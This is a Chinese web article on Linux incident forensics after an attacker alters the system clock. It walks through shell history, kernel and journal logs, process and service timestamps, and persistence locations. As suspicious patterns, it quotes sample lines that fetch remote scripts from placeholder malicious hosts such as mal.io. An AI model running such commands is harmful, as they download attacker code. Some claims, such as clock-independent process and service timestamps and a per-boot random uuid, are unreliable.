0

0

系统时间被恶意修改后如何找入侵痕迹(不依赖 chrony/ntpd 日志)

冷漠man

冷漠man

发布时间:2026-01-21 13:15:26

|

672人浏览过

|

来源于php中文网

原创

系统时间被恶意修改旨在掩盖攻击或绕过时间检测机制,可通过命令历史、内核日志、进程启动时间、定时任务等多维度痕迹溯源,重点分析时间跳变前后关联行为。

系统时间被恶意修改后如何找入侵痕迹(不依赖 chrony/ntpd 日志)

系统时间被恶意修改,往往是为了掩盖攻击行为、绕过时间敏感的检测机制(如证书有效期、日志轮转周期、会话超时等)。当 chrony 或 ntpd 日志被清空或未启用时,仍可通过其他系统痕迹定位异常时间操作。关键思路是:找谁改了时间、何时改的、用什么改的、有没有留下上下文线索

检查系统命令历史与 shell 操作痕迹

即使攻击者清除了 ~/.bash_history,仍可能残留线索:

  • 查看所有用户的历史文件:遍历 /home/*/.*history、/root/.bash_history,注意权限异常(如普通用户可写 root 历史文件)或时间戳晚于系统当前时间(说明历史被伪造或回拨后写入);
  • 检查 bash 的内置 history 命令输出(若 session 仍在):用 ps -eo pid,tty,cmd | grep bash 找活跃 shell,再用 cat /proc//environ | tr '\0' '\n' | grep HISTFILE 定位其历史路径;
  • 留意 time、date、hwclock、timedatectl 等命令调用记录:在历史中搜索 date -s、timedatectl set-time、hwclock --set 等典型指令;
  • 关注时间修改前后是否紧跟着可疑操作:例如 date -s "2020-01-01"; curl http://mal.io/sh; —— 这类组合行为比单条命令更有指向性。

分析内核与系统日志中的时间跳变信号

内核自身会对大跨度时间调整发出警告,不依赖 NTP 服务日志也能捕获:

  • 检索 dmesg 输出中的 clock skew 或 time warp 关键字:dmesg | grep -i -E "skew|warp|time.*jump|adjtimex";
  • 检查 /var/log/messages、/var/log/syslog 中的 systemd-timedated 或 kernel 日志:systemd 会在 timedatectl 被调用时记录,例如 “Changed local time to …”;
  • 注意日志时间戳自身的矛盾:比如某条日志显示 “2024-05-10 14:22:03”,但下一条却是 “2024-05-10 03:15:21”(明显倒流),说明中间发生过时间回拨;
  • 用 journalctl 按 boot 查看完整时间线:journalctl --boot=0 -o short-iso | head -20 和 tail -20 对比,观察第一条和最后一条日志的时间差是否合理(如启动 2 小时却记录了 15 天的日志,大概率被篡改过系统时间)。

核查二进制与服务的运行时间真实性

进程和内核模块的运行时间不受系统时钟影响,是判断真实经过时间的重要锚点:

问小白
问小白

免费使用DeepSeek满血版

下载
  • 用 ps -eo pid,lstart,cmd | head -20 查看进程实际启动时间:lstart 显示内核记录的绝对启动时刻(基于单调时钟或启动以来的 uptime),若大量进程显示“2020-01-01”之类异常早的时间,说明系统刚被重置过时钟;
  • 对比 uptime 与系统日志跨度:运行 uptime -s(系统启动真实时间),再对比 journalctl --since "1 hour ago" 是否能拉取到对应时段日志——如果 uptime 显示已运行 3 天,但最近 2 天日志全无,很可能是时间被大幅前拨导致日志写入路径错乱或被覆盖;
  • 检查 /proc/sys/kernel/random/boot_id 和 /proc/sys/kernel/random/uuid:这些值每次启动唯一,结合 uptime 可辅助确认是否发生过意外重启(而攻击者修改时间常伴随重启来“重置”某些状态);
  • 查看 systemd 服务的 ActiveEnterTimestamp:systemctl show sshd.service | grep ActiveEnterTimestamp —— 此字段由内核 monotonic clock 记录,不受 settimeofday 影响,可用于交叉验证。

排查定时任务、脚本与隐藏持久化载体

自动修改时间的行为往往嵌入在持久化机制中:

  • 扫描 crontab 全局配置:检查 /etc/crontab、/etc/cron.d/*、/var/spool/cron/** 中是否含 date、timedatectl、hwclock 相关条目,尤其注意 @reboot 或每分钟执行的任务;
  • 检查 systemd timer 单元:systemctl list-timers --all | grep -i time;再用 systemctl cat 查看对应 service 是否调用时间修改命令;
  • 查找伪装成系统工具的恶意二进制:比如 /usr/local/bin/date、/opt/bin/timedatectl,用 ls -la /usr/bin/date /usr/bin/timedatectl 对比 size/mtime,并用 file + sha256sum 核验是否被替换;
  • 检查环境变量注入点:/etc/environment、~/.profile、/etc/profile.d/*.sh 中是否 export PATH="/tmp:$PATH" 并在 /tmp 下放了恶意 date;
  • 留意 init 脚本或 rc.local 中的硬编码时间设置:/etc/rc.local、/etc/init.d/ 中常见 date -s "$(curl -s http://fake-time-api/x)" 类型逻辑。

不复杂但容易忽略的是:时间篡改很少单独发生,它总是服务于更深层的入侵目标。把时间异常当作一个触发器,而不是终点——顺着它去找进程、日志断层、权限变更、网络连接突增,往往比死盯“谁改了时间”更快定位真实入口点。

相关专题

更多
session失效的原因
session失效的原因

session失效的原因有会话超时、会话数量限制、会话完整性检查、服务器重启、浏览器或设备问题等等。详细介绍:1、会话超时:服务器为Session设置了一个默认的超时时间,当用户在一段时间内没有与服务器交互时,Session将自动失效;2、会话数量限制:服务器为每个用户的Session数量设置了一个限制,当用户创建的Session数量超过这个限制时,最新的会覆盖最早的等等。

314

2023.10.17

session失效解决方法
session失效解决方法

session失效通常是由于 session 的生存时间过期或者服务器关闭导致的。其解决办法:1、延长session的生存时间;2、使用持久化存储;3、使用cookie;4、异步更新session;5、使用会话管理中间件。

741

2023.10.18

cookie与session的区别
cookie与session的区别

本专题整合了cookie与session的区别和使用方法等相关内容,阅读专题下面的文章了解更详细的内容。

88

2025.08.19

curl_exec
curl_exec

curl_exec函数是PHP cURL函数列表中的一种,它的功能是执行一个cURL会话。给大家总结了一下php curl_exec函数的一些用法实例,这个函数应该在初始化一个cURL会话并且全部的选项都被设置后被调用。他的返回值成功时返回TRUE, 或者在失败时返回FALSE。

432

2023.06.14

linux常见下载安装工具
linux常见下载安装工具

linux常见下载安装工具有APT、YUM、DNF、Snapcraft、Flatpak、AppImage、Wget、Curl等。想了解更多linux常见下载安装工具相关内容,可以阅读本专题下面的文章。

175

2023.10.30

http500解决方法
http500解决方法

http500解决方法有检查服务器日志、检查代码错误、检查服务器配置、检查文件和目录权限、检查资源不足、更新软件版本、重启服务器或寻求专业帮助等。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

374

2023.11.09

http请求415错误怎么解决
http请求415错误怎么解决

解决方法:1、检查请求头中的Content-Type;2、检查请求体中的数据格式;3、使用适当的编码格式;4、使用适当的请求方法;5、检查服务器端的支持情况。更多http请求415错误怎么解决的相关内容,可以阅读下面的文章。

412

2023.11.14

HTTP 503错误解决方法
HTTP 503错误解决方法

HTTP 503错误表示服务器暂时无法处理请求。想了解更多http错误代码的相关内容,可以阅读本专题下面的文章。

1991

2024.03.12

excel表格操作技巧大全 表格制作excel教程
excel表格操作技巧大全 表格制作excel教程

Excel表格操作的核心技巧在于 熟练使用快捷键、数据处理函数及视图工具,如Ctrl+C/V(复制粘贴)、Alt+=(自动求和)、条件格式、数据验证及数据透视表。掌握这些可大幅提升数据分析与办公效率,实现快速录入、查找、筛选和汇总。

0

2026.01.21

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
Go 教程
Go 教程

共32课时 | 4万人学习

Go语言实战之 GraphQL
Go语言实战之 GraphQL

共10课时 | 0.8万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号